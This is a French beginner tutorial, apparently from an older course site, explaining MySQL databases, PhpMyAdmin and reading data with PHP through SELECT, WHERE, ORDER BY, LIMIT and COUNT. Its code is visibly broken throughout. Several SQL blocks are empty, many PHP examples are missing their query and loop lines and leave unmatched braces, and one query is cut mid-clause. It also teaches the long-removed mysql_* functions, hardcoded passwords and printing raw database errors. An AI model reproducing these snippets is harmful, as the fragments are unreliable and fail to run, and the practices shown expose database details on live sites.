Imaginez par exemple une armoire, dans laquelle chaque dossier est à sa place.
Quand tout est à sa place, c'est beaucoup plus facile de retrouver un objet n'est-ce pas ? Eh bien là c'est pareil : en
classant les informations que vous collectez (par exemple des informations sur vos visiteurs), il vous sera très facile
après de récupérer ce que vous cherchez.
Jusqu'ici je ne vous ai présenté qu'un "personnage" : c'est PHP. Je fais exprès d'utiliser cette image de personnage, car
je la trouve bien appropriée.
Jusqu'ici, on n'a fait que discuter avec PHP. On lui demandait par exemple "Combien font 2 + 2 ?", "Répète cette phrase
20 fois" etc... Bref, tout ça vous connaissez.
Eh bien maintenant, dans cette partie, on va s'adresser à quelqu'un d'autre : c'est MySQL, votre base de données.
Atchoum ! Euh, si je comprends bien, tu veux nous faire apprendre "autre chose" que le PHP ? Tu crois pas
qu'on en a assez bavé là comme ça ?!
Seulement, pour compliquer un petit peu l'affaire (sinon c'est pas rigolo), on ne va pas pouvoir parler à MySQL
directement. Eh non, seul PHP peut le faire !
C'est donc PHP qui va faire l'intermédiaire entre vous et MySQL. On devra demander à PHP : "Va dire à MySQL de faire
ceci.".
Ici on ne voit pas le client, on s'intéresse surtout à ce que le serveur fait lorsqu'il doit génèrer une page PHP.
Voici ce qu'il peut se passer lorsque le serveur a reçu une demande d'un client qui veut poster un message sur vos
forums :
Voilà en gros comment on peut schématiser ça. Je n'ai pas mis le client pour ne pas vous embrouiller, mais il est clair
qu'il aurait fallu le mettre tout en haut du schéma (c'est lui qui fait appel au serveur, comme nous l'avons vu dans le
tout premier chapitre).
Bon, eh bien maintenant que nous avons fait les présentations, il va falloir voir comment est organisée une base de
données (très très important).
Oulah oulah ! Surtout faites très attention à ce qui va suivre ! C'est indispensable pour bien comprendre la
base de données !
Et pis c'est pas parce que le titre vous donne la nausée que vous devez vomir sur le clavier
Bon allez, un peu de sérieux, ce qui suit est => VITAL <=
Ce n'est pas compliqué (ouf !), mais ce sera une des rares fois où je vous demanderai de retenir du vocabulaire.
En effet, avec la BDD il faut utiliser un vocabulaire précis. Heureusement, vous ne devriez pas avoir trop de mal à vous
en souvenir, vu qu'on va se servir d'une image : celle d'une armoire.
Ecoutez-moi attentivement, et n'hésitez pas à lire lentement, plusieurs fois si c'est nécessaire.
La base, c'est l'armoire. C'est le gros meuble dans lequel les secrétaires ont l'habitude de classer les
informations.
Dans une armoire, il y a plusieurs tiroirs. Un tiroir, dans le langage MySQL, c'est ce qu'on appelle une table.
Chaque tiroir contient des données différentes. Par exemple, on peut imaginer un tiroir qui contient les
pseudonymes et infos sur vos visiteurs, un autre qui contient les messages postés sur votre forum...
Mais que contient une table ? C'est là que sont enregistrées les données, sous la forme d'un tableau. Dans ce
tableau, les colonnes sont appelées des champs, et les lignes sont appelées des entrées. Par exemple, voici à
quoi peut ressembler le contenu d'une table appelée "visiteurs" :
Table "visiteurs"
Numéro Pseudonyme E-mail Age
1 Kryptonic [email protected] 24
2 Serial_Killer [email protected] 16
3 M@teo21 [email protected] 18
4 Bibou [email protected] 29
... ... ... ...
très souvent, on crée un champ "Numéro", aussi appelé "ID". Comme nous le verrons plus tard, il est très
pratique de numéroter ses entrées, même si ce n'est pas obligatoire.
Et pour finir, voici l'indispensable schéma pour que tout ça soit clair :
(merci à Helix001 pour avoir amélioré ce schéma, la première version que j'en avais faite était un peu moche il faut dire )
Bon de toute manière, l'essentiel c'est que vous compreniez qui contient qui.
Comme vous le voyez, on peut mettre autant de tables que l'on veut dans une base (ce qui fait qu'en général une seule
base suffit).
Dans chaque table, les données sont enregistrées sous la forme d'un tableau, comme nous l'avons vu plus haut.
Pour vous donner quelques exemples concrets, voici quelques tables utilisées sur ce site web :
newsletter : stocke les adresses e-mails de tous les visiteurs inscrits à la newsletter.
Voilà, vous devriez commencer à comprendre pourquoi vous allez avoir besoin d'une BDD sur votre site
Si quelque chose ne vous paraît pas clair, si vous avez l'impression de mélanger un peu "bases", "tables", "champs",
"entrées", relisez de nouveau cette partie. Il faut que vous soyez capable de reproduire le schéma tout seul sur un bout
de papier.
T'es gentil tu nous présentes tes jolis tableaux, tes bases, tes tables, tes champs etc... Mais je vois pas ce que
c'est concrètement moi ça !? Où MySQL enregistre-t-il les données ?
Question typique, je dois avouer que la première fois c'est très troublant. On vous parle de quelque chose qui n'a pas
l'air concret.
En fait, tout ce que je viens de vous montrer, c'est une façon de "visualiser" la chose. Il faut que vous imaginiez que ce
sont des tableaux, parce que c'est la meilleure représentation qu'on peut se faire d'une base de données.
Mais concrètement, quand MySQL enregistre des informations, il les écrit bien quelque part. Oui comme tout le
monde, il enregistre dans des FICHIERS.
Réponse : ils sont dans le dossier où MySQL est installé. Vous devriez trouver ces fichiers dans le dossier :
C:\wamp\mysql\data
Et c'est bien ça le gros avantage de la base de données : pas de prise de tête pour le rangement des informations.
Vous demandez à MySQL de vous sortir toutes les news de votre site enregistrées de Février à Juillet, il va lire dans ses
fichiers, et vous ressort les réponses.
Vous vous contentez de "dialoguer" avec MySQL. Lui il se charge du sale boulot, c'est-à-dire ranger vos données dans
ses fichiers.
Q.C.M.
Comment s'appelle le système de base de données que l'on utilise avec PHP ?
MySQL
MyTQL
MySQR
Oui
Le PHP
Le SQL
Le MySQL
Le contenu d'une table peut être représenté sous la forme d'un tableau.
Correction !
Si vous avez bien compris et retenu le schéma, que vous avez suivi sans trop de mal ce chapitre et que vous avez tout
juste au QCM, c'est que vous savez ce qu'il faut.
Cependant, tout ceci doit vous paraître un peu flou. C'est tout à fait normal. Heureusement dans le chapitre suivant
nous allons pas mal manipuler, ce qui devrait vous aider à mieux comprendre tout cela
PhpMyAdmin
Plus d'informations
Nous allons maintenant faire des manipulations sur une base de données. Vous allez "voir" ce que peuvent contenir une
base et ses tables.
Pour cela, nous allons nous servir d'un système très pratique que beaucoup de sites utilisent : PhpMyAdmin.
PhpMyAdmin est livré avec WAMP, vous allez donc pouvoir l'utiliser tout de suite.
La quasi-totalité des hébergeurs permettent d'utiliser PhpMyAdmin. Renseignez-vous auprès de votre hébergeur pour
savoir comment y accéder. Par exemple si vous êtes chez Free, l'adresse de PhpMyAdmin est http://sql.free.fr. Vous
aurez très certainement besoin d'un login et d'un mot de passe.
Concrètement, PhpMyAdmin est un ensemble de pages PHP. Ce n'est pas un programme, mais des pages PHP
toutes prêtes dont on se sert pour gagner du temps.
On commence donc simplement : on ne va pas coder dans ce chapitre, pour le moment on va simplement manipuler.
Vous avez 2 endroits importants, signalés par des numéros en rouge sur ma capture d'écran :
1. Liste des bases : c'est la liste de vos bases de données. Le nombre entre parenthèses, c'est le nombre de tables
qu'il y a dans la base.
Sur ma capture d'écran, on a donc 2 bases : , qui contient 17 tables, et , qui
contient elle aussi 17 tables.
2. Créer une base : pour créer une nouvelle base de données, tapez un nom dans le champ de formulaire à droite,
cliquez sur "Créer" et hop ! C'est fait
Pour le moment, 2 bases sont déjà créées : "information_schema" et "mysql". Ne touchez pas à ces bases, elles servent
au fonctionnement interne de mysql.
Nous allons créer une nouvelle base "test". Utilisez le formulaire à droite pour créer cette base.
L'écran suivant devrait alors s'afficher si la base a bien été créée :
On vous indique qu'aucune table n'a été trouvée dans la base. Et si on en créait une ?
Dans le champ "Créer une nouvelle table sur la base test", indiquez le nom "news" et le nombre de champs "3" :
id : comme bien souvent, vous allez devoir créer un champ appelé "id". C'est le numéro d'identification. Grâce à
lui, toutes vos entrées seront numérotées, ce qui est bien pratique. Il y aura ainsi la news n°1, n°2, n°3 etc...
titre : ce champ contiendra le titre de la news.
contenu : enfin, ce champ contiendra la news en elle-même.
Soyons clairs : je ne suis pas en train de vous apprendre à créer un système de news pour votre site. Ca on verra un
peu plus tard. D'ailleurs, si on avait voulu faire ça bien on aurait aussi créé un champ "date", mais bon ne compliquons
pas les choses inutilement.
Pour le moment on veut juste faire joujou
Vous remplissez à gauche le nom du champ, au milieu le type de champ, et à droite la taille maximale du champ.
Un champ peut contenir du texte, des nombres, des dates etc... Il faut donc définir quel type de données contiendra
le champ.
Voici les principaux types de données que vous avez besoin de connaître (il y en a beaucoup d'autres) :
INT : nombre entier. Il y a plusieurs variantes, selon la grandeur des nombres que ça peut comporter. Dans
l'ordre, il y a TINYINT (très petit, c'est-à-dire 255 maximum), SMALLINT (jusqu'à 30 000), MEDIUMINT (8 000
000), INT (2 000 000 000), BIGINT (vraiment beaucoup !).
TEXT : du texte. Là encore il y a plusieurs variantes, ça fonctionne de la même manière. A vous de choisir celui
qui vous paraît le plus adapté.
DATE : date de la forme "YYYY-MM-DD", "YY-MM-DD" ou "YYMMDD" (c'est le format américain, eh oui !)
TIME : l'heure, de la forme "HH:MM:SS" ou "HHMMSS" ou "HHMM" ou "HH".
DATETIME : mélange la date et l'heure, de la forme "YYYY-MM-DD HH:MM:SS"
BLOB : plus particulier, ce type est rarement utilisé. Il permet de stocker des fichiers dans la base de données.
Vu que c'est un cas particulier, on n'en parlera pas de suite, mais il faut que vous sachiez que ça existe.
Il reste à voir les quelques options qui sont proposées à droite de l'écran pour chaque champ :
Pour le premier champ, id, j'ai coché "A.I." qui signifie "auto_increment". Je vous recommande de le faire pour tous vos
champs "id" : ainsi, le numéro de champ augmentera tout seul à chaque fois que vous rajouterez une entrée. Ca évite
des prises de tête en plus...
J'ai aussi mis "Primary" pour les options d'Index du champ "id", je vous recommande de le faire pour tous vos champs
id, ça accélèrera les recherches dans votre table.
Voilà, je ne m'étends volontairement pas sur tout ça, vous en savez largement assez pour créer une table. Il est inutile
de détailler toutes les possibilités, on y passerait des heures. Copiez mon modèle à chaque fois que vous créez une
table et ça sera bon.
Cliquez enfin sur "Sauvegarder", et ça y est. Ouf ! On a créé une table
Pour l'instant la table est vide. Si vous affichez la structure de la table, vous devriez voir ceci en haut :
Rien de bien intéressant à toucher ici, si ce n'est les onglets en haut : "Structure", "Afficher", "SQL" etc etc... Cela vous
amènera vers différentes options que nous verrons plus loin.
Nous allons rentrer des informations (des entrées) dans cette table. Cliquez sur l'onglet "Insérer" en haut. Vous pouvez
maintenant créer une entrée. Faites comme moi :
Pour id, je n'ai rien mis car, je vous le rappelle, on avait indiqué "auto_increment". Le nombre sera calculé tout seul
par Mysql, ne vous en occupez pas.
Indiquez simplement le titre et le contenu de votre news, puis cliquez sur "Exécuter".
Il y a d'autres champs en-dessous mais vous n'êtes pas obligés de les remplir. Vous pouvez cliquer sur le
premier bouton "Exécuter".
Maintenant, on va afficher ce que contient la base. Pour cela, cliquez sur l'onglet "Afficher" en haut, ou bien cliquez sur
la petite image en forme de tableau à gauche de l'écran
Le contenu de la table s'affiche sous vos yeux ébahis
Vous repérez ici les champs : id, titre et contenu. Cette table a 3 entrées, et comme vous pouvez le voir Mysql a bien
fait les choses puisque les numéros d'id se sont créés tous seuls
1. Afficher tout le texte : si vous cliquez sur le T majuscule, cela affichera la totalité du texte. Vous remarquerez
sur mon image que si le texte est trop long, PhpMyAdmin le coupe. Avec ce bouton vous verrez tout le texte.
2. Modifier l'entrée : cette petite image vous permet de modifier l'entrée sélectionnée (si vous voulez apporter des
modifications à votre news par exemple).
3. Supprimer l'entrée : ce bouton supprime l'entrée sélectionnée.
4. Afficher X lignes à partir de l'enregistrement n° X : s'il y a beaucoup d'entrées dans votre table, PhpMyAdmin
n'en affichera qu'un bout (les 30 premières lignes normalement). Si vous voulez en afficher plus, il vous suffit de
modifier ces valeurs puis de cliquer sur "Afficher".
Voilà, vous en savez suffisamment pour travailler sur une table. Avouez que ce n'était pas bien dur
Il y a certes beaucoup de choses que je passe sous silence, mais c'est principalement parce que vous n'en aurez besoin
que très rarement.
Bon, il nous reste à traiter encore de quelques fonctionnalités proposées par PhpMyAdmin, et ça sera bon pour ce
chapitre.
Autres opérations
Nous allons séparer cette partie en 6 sous-parties, correspondant aux onglets suivants :
SQL
Importer
Exporter
Opérations
Vider
Supprimer
SQL
Il s'affiche à l'écran :
C'est ici que vous pouvez exécuter ce que l'on appelle des requêtes SQL pour demander à Mysql de faire quelque
chose.
Dans la grande zone de texte, vous pouvez taper des requêtes SQL. Par exemple ici on a :
SELECT * FROM `news` WHERE 1
Cela signifie : "Afficher tout le contenu de la table 'news'". Je vous apprendrai ce langage SQL tout au long de la
partie II.
Importer
Dans la page qui s'affiche, vous pouvez envoyer un fichier de requêtes SQL (généralement un fichier .sql) à MySQL pour
qu'il les exécute :
Seul le premier champ en haut devrait nous intéresser : il nous permet d'indiquer un fichier sur notre disque dur
contenant des requêtes SQL à exécuter.
Cliquez ensuite sur le bouton "Exécuter" tout en bas sans vous préoccuper des autres champs.
Quelle différence y a-t-il entre écrire la requête SQL (comme on vient de le voir juste avant) et envoyer un
fichier contenant des requêtes SQL ?
C'est la même chose, sauf que parfois quand on doit envoyer un très grand nombre de requêtes, il est plus pratique
d'utiliser un fichier. Dans les prochains chapitres du cours d'ailleurs, je vous donnerai un fichier de requêtes à exécuter,
et il faudra utiliser cette méthode.
Exporter
Nous nous intéressons maintenant à l'onglet "Exporter". C'est ici que vous allez pouvoir récupérer votre base de données
sur le disque dur sous forme de fichier texte (qui contiendra des tonnes de requêtes SQL).
Ce fichier que l'on va "exporter", est-ce que c'est le même que celui dont tu nous parlais tout à l'heure ? Celui
situé dans C:\wamp\mysql\data ?
Non pas du tout. Ce que je vous ai montré tout à l'heure, c'était quelque chose d'illisible. Je vous avais dit qu'on n'y
toucherai pas, je ne vous ai pas menti.
Le fichier que vous allez obtenir grâce à "l'exportation" de PhpMyAdmin, c'est un fichier qui dit à MySQL comment
recréer votre base de données (avec des requêtes en langage SQL)
Transmettre votre base de données sur Internet : pour le moment, votre base de données se trouve sur votre
disque dur. Mais si vous êtes hébergés sur Internet, chez Free par exemple, on va utiliser ce fichier généré pour
"reconstruire" la base de données. Ainsi, sur Internet vous aurez la même base de données et votre site web
pourra l'utiliser !
Faire une copie de sauvegarde de la base de données : on ne sait jamais, si vous faites une bêtise ou qu'un
hacker détruit toutes les informations sur votre site (dont la base de données), vous serez bien content d'avoir
une copie de secours sur votre disque dur !
Attention, je vous rappelle un point important : le fichier que vous allez générer contient les informations pour
"reconstruire" votre base de données. Ce n'est donc pas le fichier dans lequel MySQL enregistre vos données, dont je
vous ai parlé à la fin du chapitre précédent.
Je vous conseille de laisser les options par défaut, c'est largement suffisant.
Distinguez simplement la structure des données de la table. La structure d'une table se résume en quelques lignes, ce
sont en fait les noms des champs, leurs types etc... Par contre, les données correspondent aux entrées, et il peut y en
avoir beaucoup ! Pour faire une sauvegarde complète, il faut donc prendre la structure ET les données.
A noter que vous pouvez demander une compression, ce qui est utile si votre table est très grosse.
Par contre, pensez à cocher la case "Transmettre", sinon il ne se passera rien.
Cliquez sur "Exécuter". On vous proposera alors de télécharger un fichier : c'est tout à fait normal. N'hésitez pas à
regarder ce qu'il y a dans ce fichier : vous allez voir qu'il y a plein de requêtes SQL. C'est ce langage que je vais vous
apprendre dans les chapitres qui suivent !
Bon, j'ai récupéré le fichier. Maintenant, comment je fais pour recréer la base de données sur mon site web ?
Il faut aller sur le PhpMyAdmin de votre hébergeur (il en a forcément un). Renseignez-vous pour connaître l'adresse.
Par exemple chez Free c'est : http://sql.free.fr (il faudra indiquer votre login et mot de passe). Une fois dessus,
rendez-vous dans l'onglet "Importer" qu'on a vu tout à l'heure.
Cliquez sur "Parcourir" pour indiquer où se trouve le fichier SQL que vous venez de créer sur votre disque dur. Faites
"Exécuter", attendez que ça l'envoie, et c'est bon ! Votre base de données est alors recréée sur Internet !
Opérations
Vider
Vide tout le contenu de la table. Toutes les entrées vont disparaître, seule la structure de la table restera (c'est-à-dire
les champs).
Supprimer
Pour supprimer la totalité de la table (structure + données), cliquez sur cet onglet.
Là encore, réfléchissez-y à deux fois avant de tout supprimer, car vous ne pourrez rien récupérer par la suite.
Q.C.M.
Structure
Données
Structure et données
DATETIME
BLOB
INT
La structure
Les données
Les deux
Si ma table est mal organisée et devient lente, quelle opération dois-je faire ?
Je la renomme
Je l'optimise
Je la répare
Correction !
C'est pour vous un "outil" qui vous permettra d'administrer votre base de données, de voir ce qu'elle contient et dans
quel état elle est.
Mais maintenant nous allons rentrer dans le vif du sujet : comment utiliser une base de données avec PHP ?
Les choses sérieuses vont commencer, et vous allez vite être capables de créer plein de scripts très utiles pour votre
site !
Plus d'informations
Dans ce chapitre, nous allons nous entraîner à lire des données dans une base de données. C'est un chapitre très important, un peu
gros certes mais c'est parce que vous avez beaucoup à apprendre
Je pense sincèrement que ce sera un chapitre très enrichissant pour vous, alors lisez-le avec soin !
Sommaire du chapitre :
Connexion à la BDD
Récupérer les données
Les critères de sélection
Compter le nombre d'entrées
Q.C.M.
Connexion à la BDD
Pour pouvoir travailler avec la base de données, il faut d'abord s'y connecter.
Ne rigolez pas, c'est exactement ce que je me posais comme question quand on me disait "il faut te connecter à la base de
données".
Alors vous vous aurez de la chance, vous ne resterez pas dans le flou comme moi
Nous allons apprendre dans ce chapitre à lire des données dans une BDD. Or, je vous rappelle que PHP doit faire l'intermédiaire
entre vous et MySQL.
Problème : PHP ne peut pas dire à MySQL dès le début "Récupère-moi ces valeurs". En effet, MySQL demande d'abord un nom
d'utilisateur et un mot de passe. S'il ne faisait pas ça, tout le monde pourrait accéder à votre BDD et lire les informations qu'il y a
dedans (parfois confidentielles !).
Il va donc falloir que PHP s'authentifie, on dit qu'il établit une connexion avec MySQL. Une fois que la connexion sera établie, vous
pourrez faire n'importe quelle opération sur votre base de données
La connexion
Le choix de la base
La déconnexion
La connexion
Le nom de l'hôte : c'est l'IP de l'ordinateur où MySQL est installé. Le plus souvent, MySQL est installé sur le même ordinateur
que PHP. Dans ce cas, mettez la valeur "localhost" et ça marchera
Le login : ça permet de vous identifier. Renseignez-vous auprès de votre hébergeur pour le connaître. Le plus souvent (chez un
hébergeur gratuit) c'est le même login que vous utilisez pour le FTP.
Le mot de passe : là encore, il y a 99% de chances pour que le mot de passe soit le même que celui que vous utilisez pour
accéder au FTP (ça ne vous coûte rien d'essayer :p)
On va supposer que le nom de l'hôte est "localhost" (c'est valable dans la quasi-totalité des cas), que mon login est "mateo21" et que
mon mot de passe est "cFrrI954".
Le code suivant permet d'établir une connexion à MySQL :
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "cFrrI954");
?>
Pour vous connecter à MySQL avec WAMP (si vous faites des tests sur votre propre ordinateur), vous devez mettre l'hôte
"localhost", le login "root", et pas de mot de passe.
C'est-à-dire : mysql_connect("localhost", "root", "");
Le choix de la base
OK, on est connecté, mais il faut maintenant sélectionner la base de données sur laquelle vous allez travailler.
Bien souvent, une seule base de données suffit, je vous le rappelle. D'ailleurs, la plupart des hébergeurs gratuits n'en propose qu'une
seule, ce qui n'est pas bien grave.
Demandez à votre hébergeur le nom de la base qui a été créée (souvent c'est le même nom que votre login MySQL).
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "cFrrI954"); // Connexion à MySQL
mysql_select_db("mateo21"); // Sélection de la base mateo21
?>
La déconnexion
Une fois que vous vous êtes connectés, que vous avez choisi votre base de données, vous pouvez commencer votre travail. Mais une
fois que vous avez fini de travailler sur votre BDD, il faut vous déconnecter
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "cFrrI954"); // Connexion à MySQL
mysql_select_db("mateo21"); // Sélection de la base mateo21
Le mysql_close() est normalement facultatif, mais certaines versions de MySQL ont un bug qui fait planter votre page si vous
ne le mettez pas. Il est donc plus prudent de l'utiliser.
Mais... il nous faudrait une base de données "toute prête" qui servirait de support pour travailler. Heureusement, c'est mon jour de
bonté, je vais vous épargner tout ça
Je vous invite à télécharger la table que j'ai créée pour vous :
Télécharger la table
Faites un clic droit / Enregistrer sous
Rien qu'au nom, vous pouvez vous douter que cette table contient quelque chose en rapport avec des jeux vidéo. En effet, vous allez
le voir, cette table contient une liste d'une cinquantaine de jeux vidéo.
Pour cet exemple, plusieurs amis ont voulu répertorier tous les jeux vidéo qu'ils possèdent. La base de données est pour eux un
moyen très pratique de classer et d'organiser tout cela, vous allez voir pourquoi
Inutile d'essayer de l'ouvrir, ça n'a pas d'intérêt. Il va falloir importer la table dans PHPMyAdmin (c'est le fichier que je vous ai
donné).
Voici la procédure à suivre :
Petit aperçu :
Et voilà ! Vous devriez voir une nouvelle table apparaître à gauche : "jeux_video". Vous pouvez vous amuser à regarder ce qu'elle
contient, pour vous faire une idée.
Si vous n'êtes pas sûr de la marche à suivre, regardez comment je fais dans cette petite animation :
Voici les 5 premières entrées qu'elle contient (il y en a une cinquantaine en tout !) :
Notre objectif, c'est de créer une page PHP qui va afficher ce que contient la table "jeux_video".
Maintenant arrive le grand moment que vous attendiez tous : on va demander quelque chose à MySQL. On va donc commencer à
parler en "SQL" !
Pour cela, on va faire ce qu'on appelle une requête. On va demander poliement à MySQL de nous dire tout ce que contient la table
"jeux_video".
Cette fonction prend un paramètre : ce que PHP doit aller dire à MySQL (en langage SQL).
Cette fonction renvoie une valeur, il faut donc qu'une variable récupère ce que MySQL nous a répondu.
Code : PHP
<?php
$reponse = mysql_query("Tapez votre requête SQL ici");
?>
Comme je vous l'ai dit, le SQL est un langage. C'est lui qui nous permet de communiquer avec MySQL.
Voici votre première requête SQL :
Code : SQL
Ceci peut se traduire par : « Prendre tout ce qu'il y a dans la table "jeux_video" ».
Analysons chaque terme de cette requête :
SELECT : en langage SQL, le premier mot indique quel type d'opération doit faire MySQL. Dans ce chapitre, nous ne verrons
que SELECT. Ca demande à MySQL d'afficher ce que contient une table.
* : après le SELECT, on doit indiquer quels champs MySQL doit récupérer dans la table. Si on n'est intéressé que par les
champs "nom" et "possesseur", il faudra taper :
SELECT nom, possesseur FROM jeux_video
Si vous voulez prendre tous les champs, tapez *. Cette petite étoile peut se traduire par "tout" : "Prendre tout ce qu'il y a..."
FROM : c'est un mot de liaison. Ca se traduit par "dans". FROM fait la liaison entre le nom des champs et le nom de la table
jeux_video : c'est le nom de la table dans laquelle il faut aller piocher.
Et voilà le travail !
Maintenant, on n'a plus qu'à mettre cette requête en paramètre de mysql_query :
Code : PHP
<?php
$reponse = mysql_query("SELECT * FROM jeux_video");
?>
Le problème, c'est que $reponse contient quelque chose d'inexploitable. MySQL nous renvoie un joyeux bazar pas bien organisé.
Vous imaginez toutes les informations qui sont dedans ? Si c'est une table à 10 champs, avec 200 entrées, ça fait plus de 2000
informations dans une variable !
Dur dur de tout caser... sauf... si on utilisait un array !
Bingo !
PHP dispose d'une fonction toute prête, mysql_fetch_array, qui va créer un array à partir de $reponse. Ce sera un tableau associatif
: vous mettrez entre crochets le nom du champ qui vous intéresse.
Par exemple, si vous vous intéressez au champ "console", vous utiliserez l'array $donnees['console'].
Il faudra faire une boucle pour parcourir chaque entrée une à une. A chaque fois que vous utilisez la fonction mysql_fetch_array,
vous passez à l'entrée suivante. La boucle est donc répétée autant de fois qu'il n'y a d'entrées dans votre table.
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe"); // Connexion à MySQL
mysql_select_db("coursphp"); // Sélection de la base coursphp
Essayer !
Concrètement que se passe-t-il ? On fait une boucle pour chaque entrée de la table. On commence par l'entrée n°1, puis l'entrée n°2
etc... A chaque fois qu'on fait une nouvelle boucle, on passe en revue une autre entrée.
Avec ce que je vous ai appris, vous devriez être capable d'afficher ce que vous voulez.
Personne ne vous oblige à afficher tous les champs ! Par exemple, si j'avais voulu lister juste les noms des jeux, j'aurais fait comme
ça :
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe"); // Connexion à MySQL
mysql_select_db("coursphp"); // Sélection de la base coursphp
Essayer !
Je sais pas pour vous, mais moi je trouve que là-dedans il y a quelque chose de merveilleux : ce code source est inintelligible pour
Mr-tout-le-monde, et pourtant il permet d'afficher d'un coup d'un seul la liste d'une cinquantaine de jeux vidéo.
Et croyez-moi, vous n'êtes pas au bout de vos suprises avec PHP et MySQL
Lorsqu'une requête SQL "plante", bien souvent PHP vous dira qu'il y a eu une erreur à la ligne du mysql_fetch_array.
Ce n'est pas très précis, je pense que vous êtes d'accord avec moi Ce n'est pas la ligne du mysql_fetch_array qui est en cause :
c'est souvent vous qui avez mal écrit votre requête quelques lignes plus haut.
Pour afficher des détails sur l'erreur, prenez l'habitude de rajouter le code sur la même ligne que vos
mysql_query.
Code : PHP
<?php
$reponse = mysql_query("SELECT nom FROM jeux_video") or die(mysql_error());
?>
Vous trouverez plus d'infos à ce sujet dans l'annexe sur les erreurs si ça vous intéresse.
Lorsque vous avez un problème avec une requête et que vous voulez demander de l'aide sur les forums du site, donnez
toujours l'erreur renvoyée par le or die(mysql_error()). Cela aidera énormément les gens à comprendre votre erreur.
WHERE
ORDER BY
LIMIT
WHERE
Supposons par exemple que je veuille lister uniquement les jeux appartenant à Patrick. La requête au début sera la même qu'avant,
mais je rajouterai à la fin "WHERE possesseur='Patrick'".
Ca nous donne la requête :
Code : SQL
Traduction : "Sélectionner tous les champs de la table jeux_video lorsque le champ possesseur est égal à Patrick".
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
<?php echo $donnees['nom']; ?> appartient à <?php echo $donnees['possesseur']; ?><br />
<?php
}
mysql_close();
?>
Essayer !
Si vous vous amusez à changer le nom du possesseur (par exemple "WHERE possesseur='Michel'"), ça n'affichera que les jeux
appartenant à Michel ! Essayez, vous verrez !
Il est par ailleurs possible de mettre deux conditions. Par exemple, si je veux lister les jeux de Patrick qu'il vend à moins de 20
euros, j'utiliserai cette requête SQL :
Code : SQL
Traduction : "Sélectionner tous les champs de jeux_video lorsque le possesseur est Patrick ET lorsque le prix est inférieur à 20".
ORDER BY
ORDER BY nous permet d'ordonner nos résultats (histoire qu'ils ne soient pas trop en vrac...).
Nous pourrions classer les résultats en fonction de leur prix ! La requête SQL serait :
Code : SQL
Traduction : "Sélectionner tous les champs de jeux_video, et ordonner les résultats par prix croissant.".
Application :
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
<?php echo $donnees['nom']; ?> coûte <?php echo $donnees['prix']; ?> EUR<br />
<?php
}
Essayer !
Code : SQL
Traduction : "Sélectionner tous les champs de jeux_video, et ordonner les résultats par prix décroissant.".
A noter : si on avait utilisé ORDER BY sur un champ contenant du texte, le classement aurait été fait par ordre
alphabétique.
LIMIT
Dernier mot-clé que nous apprendrons dans ce chapitre, LIMIT nous permet de ne prendre qu'une partie des résultats (par exemple
les 20 premiers).
Il faut rajouter à la fin de la requête le mot clé LIMIT, suivi de 2 nombres séparés par une virgule. Par exemple :
Code : SQL
Bonne question
On indique tout d'abord à partir de quelle entrée on commence à lire la table.Ici, j'ai mis 0. Pour MySQL c'est la première
entrée (1 c'est la seconde, 2 la troisième etc...).
Attention, n'oubliez jamais que pour MySQL la première entrée est l'entrée n°0 ! Par ailleurs, sachez que LIMIT ne se
base PAS sur le champ ID (ça fonctionne même s'il n'y a pas de champ ID).
Ensuite, le deuxième nombre indique combien d'entrées on doit sélectionner. Ici, j'ai mis 20, on prendra donc 20 entrées.
Donc, si on met :
Compris ?
Allez un petit exemple ! Si on veut afficher les 10 premiers jeux de la table, on utilisera le code suivant :
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
<?php
}
Essayer !
Et voilà le travail !
Bonjour, je suis masochiste, et avant de terminer cette section je souhaiterais mélanger toutes les requêtes SQL que je viens
d'apprendre en une seule. C'est possible ?
Code : SQL
SELECT nom, possesseur, console, prix FROM jeux_video WHERE console='Xbox' OR console='PS2' ORDER
Il faut utiliser les mots-clés dans l'ordre que j'ai donné : WHERE puis ORDER BY puis LIMIT, sinon MySQL ne comprendra pas
votre requête.
Essayez donc de traduire ça en français déjà, pour voir si vous avez compris, puis après testez cette requête chez vous pour voir si
c'est bien ce à quoi vous vous attendiez.
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
?>
<?php
mysql_close(); // Déconnexion de MySQL
?>
Essayer !
Comme vous pouvez le voir, la requête est un peu différente. Le mot-clé COUNT demande à MySQL de compter le nombre d'entrées,
et de renvoyer le résultat dans l'array $donnees['nbre_entrees'].
On ne fait pas de boucle, il n'y en a pas besoin. MySQL a juste renvoyé le nombre de jeux vidéo inscrits dans la table.
Et n'oubliez pas que vous pouvez rajouter à la fin de la requête un WHERE, par exemple pour avoir juste le nombre de jeux vidéo
appartenant à Florent !
A vous de jouer !
Q.C.M.
mysql_select_base
mysql_select_database
mysql_select_db
LIMIT 3, 10
Une erreur
Correction !
Vous venez d'apprendre une quantité de choses impressionnantes dans ce chapitre ! Une fois que vous aurez lu le chapitre suivant,
vous serez même capables de créer des scripts de news, de livre d'or, un forum etc etc...
Vu que ce chapitre était d'une importance capitale, n'hésitez pas à le relire (après vous être reposés :p), car il faut vraiment que
vous maîtrisiez les requêtes SQL et leur affichage avec PHP !
Plus d'informations
Nous avons vu dans le chapitre précédent que MySQL pouvait récupérer des données dans la BDD très facilement. Nous
avons vu aussi que le langage SQL était très puissant, car il propose de nombreux critères de sélection (WHERE, ORDER
BY etc...)
C'est bien beau tout ça, mais si vous savez juste lire dans une base de données et que vous ne savez pas écrire dedans,
ça va pas le faire
Vous l'aurez compris, ce chapitre est clairement la suite du précédent. En utilisant ce que vous aurez appris dans ces 2
chapitres, vous saurez réaliser de nombreux scripts PHP
Sommaire du chapitre :
Non non
C'est vrai que PhpMyAdmin permet de rajouter de nouvelles entrées dans la table (on l'a vu dans le chapitre 2 de la
partie II). Mais ce qui nous intéresse ici, c'est de le faire avec un script PHP !
